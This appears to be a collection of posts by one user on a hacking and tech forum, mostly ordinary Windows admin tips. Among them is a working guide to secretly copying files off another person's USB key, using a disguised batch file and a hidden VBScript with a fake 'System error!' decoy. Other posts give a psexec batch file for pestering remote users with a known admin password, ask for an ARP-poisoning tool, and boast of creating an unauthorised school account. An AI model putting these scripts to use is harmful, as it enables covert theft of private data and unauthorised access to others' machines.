Oh for goodness sake. I've googled. I'm asking for a recommendation based on experience. Perhaps I should have specified that.

Given that I'm having the same problem, I'll just hijack this topic to ask a question... What would be a good program to perform an arp cache poisoning attack / man in the middle attack under windows xp? Preferably one that lets me specify the mac addresses of the targets manually. For once I intend to try things on my own network :P

My old high school's network was novell based... But they also ran IIS 5. Oh the fun :roll:

The javascript for the back button only needs to be: history.go(-1) :)

I did it the easy way... I knew the helpdesk staff and used to go in an help out between lessons... So I just made myself an account :roll:

I wrote a little bat file at college when I was bored to have a little fun with. It uses psexec to enable and start the messenger service on two remote machines and then send a message from one to the other. Great if you know the local admin password and want to pester people who may look at the message's origin computer name :roll: usage: send.bat <target> <host> <admin password> <message> psexec %1 -u administrator -p %3 sc config messenger start= auto psexec %1 -u administrator -p %3 net start messenger psexec %2 -u administrator -p %3 sc config messenger start= auto psexec %2 -u administrator -p %3 net start messenger psexec %2 -u administrator -p %3 net send %1 "%4" A little off topic, but I thought some might like it.

I use mame 32 myself :) It seems to work well.

Although drying it out completely may work, it won't always :P The screen could be damaged from the water and heat. Also, if the phone was turned on when it was put in the wash, some of the components may have fried :roll:

I haven't noticed it here, but it happens every now and again on a forum I do techie stuff for. The problem was the phpBB sessions table. We had problems with it filling up and producing an error. The official solution (one of them at least) was a bit of code that wipes the older sessions from the table every now and again. You guys have anything like that in place?

I run through TOR every now and again... But not often. Sometimes I happen to be using TOR and feel the urge to read a few posts. But other than that I just connect directly :)

What operating systrm are you using? If it's windows xp, the correct syntax would be: at 10:00 /every:m,t,w,th,f &lt;command&gt; If it's unix/linux, the correct syntac would be: 0 10 * * 1-5 command I think :roll:

A bit of the old ultra-violence :twisted: ...Actually I've been painting the case of my rather tired looking oscilloscope, and digging up tree stumps in the front garden while I was waiting for paint to dry :roll:

I think one of the best ways to make use of it would be to install a variety of operating systems on it (various distros of linux, older versions of windows etc) and learn to attack and secure each one. You can learn a lot like that :)

I am 19 also. I'd like to think I'm mature for my age... I thank you, 1337n00b. You've just made me feel better about my own levels of maturity ;)

I guess you could use something like this: net use lpt1 serverprinter /persistent:yes Personally, I'd use vbscript instead :) Option Explicit Dim netPrinter, UNCpath UNCpath = "YourServerPrinterName" Set netPrinter = CreateObject("WScript.Network") netPrinter.AddWindowsPrinterConnection UNCpath I lifted that from some website. Couldn't be bothered typing it out. You get the idea, I hope :)

As I mentioned earlier, that's what I do :) I'm always working on a way to make a universal image though.

I have a question: would the drive letter of the usb key be the same each time? If so, I have a solution. It's not entirely automatic, but they're not likely to notice! Make a batch file with the following contents: @echo off xcopy /E /C /H /Y f: c:usbgrab where f: is the letter of the usbkey drive, and "c:usbgrab" is the place you want the data to go. Save it somewhere, and then make a shortcut to it somewhere in your start menu. Go to the properties of the shortcut, and set it to run minimized. Also, set a keyboard shortcut for it such as "CTRL + SHIFT + C". Then when you insert the usbkey, hit your chosen keyboard shortcut and it should begin to copy. One problem is: they may notice the batch file appear on the task bar. It may be a good idea to name it something like "backup.bat" or "apache-start.bat" rather than "get-the-files-from-this-guys-usb-key.bat The other option is to make a small exe or vbscript to do the same thing. That way, you could make it completely hidden while it runs. A little like this: Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "xcopy /E /C /H /Y f: c:usbgrab",0,1 MsgBox("System error!") Save that as a vbs file, make a shortcut to it in your start menu, and then setup a keybaord shortcut for it! It even has a nice little "Error" message that comes up when it's done copying ;) I'm sure someone here knows a thing or two about getting the drive letter of the usb key automatically and that sort of thing... But that's enough to get you started at least :) ***EDIT*** Even better! I just thought, it might be a good idea to make sure the files don't get all muddled up. So I've modified the script a little so that it makes a new folder using the current date and time to put the data in Set WshShell = WScript.CreateObject("WScript.Shell") Dim newDir newDir = Replace(Now,":","-") newDir = Replace(newDir,"/","-") newDir = Replace(newDir," ","-") WshShell.Run "xcopy /E /C /H /Y f: c:usbgrab" &amp; newDir &amp; "",0,1 MsgBox("System error!") Once again: "f:" being the drive letter of the usb key, and "c:usbgrab" being where you want all the data to go :)

I usually use Symantec Ghost on my networks for imaging. Although it's a pain to do, if I've got more than one type of hardware on a network: I make a master image for the most common hardware configuration (installing all needed software etc) and then ghost down from the server to one of each type of hardware configuration, preform a windows system repair on each one, and then ghost up to the server from each one. So what I end up with is an image for each type of hardware configuration on the network. This is fine if you've got a max of 3 or 4 different hardware configurations, and your image isn't massive, but if you've got loads of different hardware configs, and very big images... This could cause you problems. Updates aren't too bad when you've got WSUS running on your server, either. If you don't have much software to install, look into doing unattended installs with RIS :) Come to think of it... You could do a modification on Sparda's method using the windows repair... Take your master image, with all the software etc that you want on it, and use a windows cd with all the updates integrated into it (using n-lite or something similar), and set up to be automated etc, and do the first part of a windows reapair. Then when it does it's first re-start, boot it into ghost and upload the hdd image to the server. You can then ghost down to all your machines and let them do the unattended install. When they're done, just re-name them and you're on your way! While this is ok... You WILL need a copy of the windows cd for every machine. Which just isn't practical if you have lots of machines :(

What rubbish. If you can't even google for the vb3 runtimes and get the decompiler to work, I'm not sure you're gonna be much good at the rest of it :P j/k ;)

I could get flamed for this, I don't know... But what does everyone think of http://try2hack.nl ? I've heard a few people say that it's too easy and not realistic and various other things along those lines... But I thought it was actually a good bit of fun :) I'm not sure it's all THAT easy either. I've got to level 10 and I'm stuck. IRC is just not something I'm very good with. CTCPs, CTCRs, Eggdrops... It's all foreign to me :P Have you tried it? What did you think? What level did you get to? How did it's challenges stand up to the high caliber hackings around here? (Any anyone wanna help me figure out what I'm doing wrong with level 10? haha)

Yes, you can! You can either tell windows to install to a directory other than c:windows (I.E. c:winxp) or you can enlist the help of a nice little program called BartPE. Basically, it allows you to create an XP live cd, with which you can boot your computer from the CD and proceed to delete your windows folders etc. You can then install windows again without losing your files. BSOD TV Episode 2 has a nice little tutorial on how to do it :)

No, the NES just didn't start in the first place without a good blow of the old contacts :P

Sure, I'd do it! I am currently ranked 39275 of 564446... It'd be nice to be a part of a team instead of by myself :P

If you get the Windwows 2003 Resource kit tools there is a sleep command... Use it as follows... sleep 60 To wait 60 seconds sleep -m 40 To wait 40 milliseconds

Seems pretty standard to me... You should have a go at the two puzzles I've posted in the past :P http://hak5.org/forums/viewtopic.php?t=878 http://hak5.org/forums/viewtopic.php?t=1624 No-one ever figured out the second one :roll:
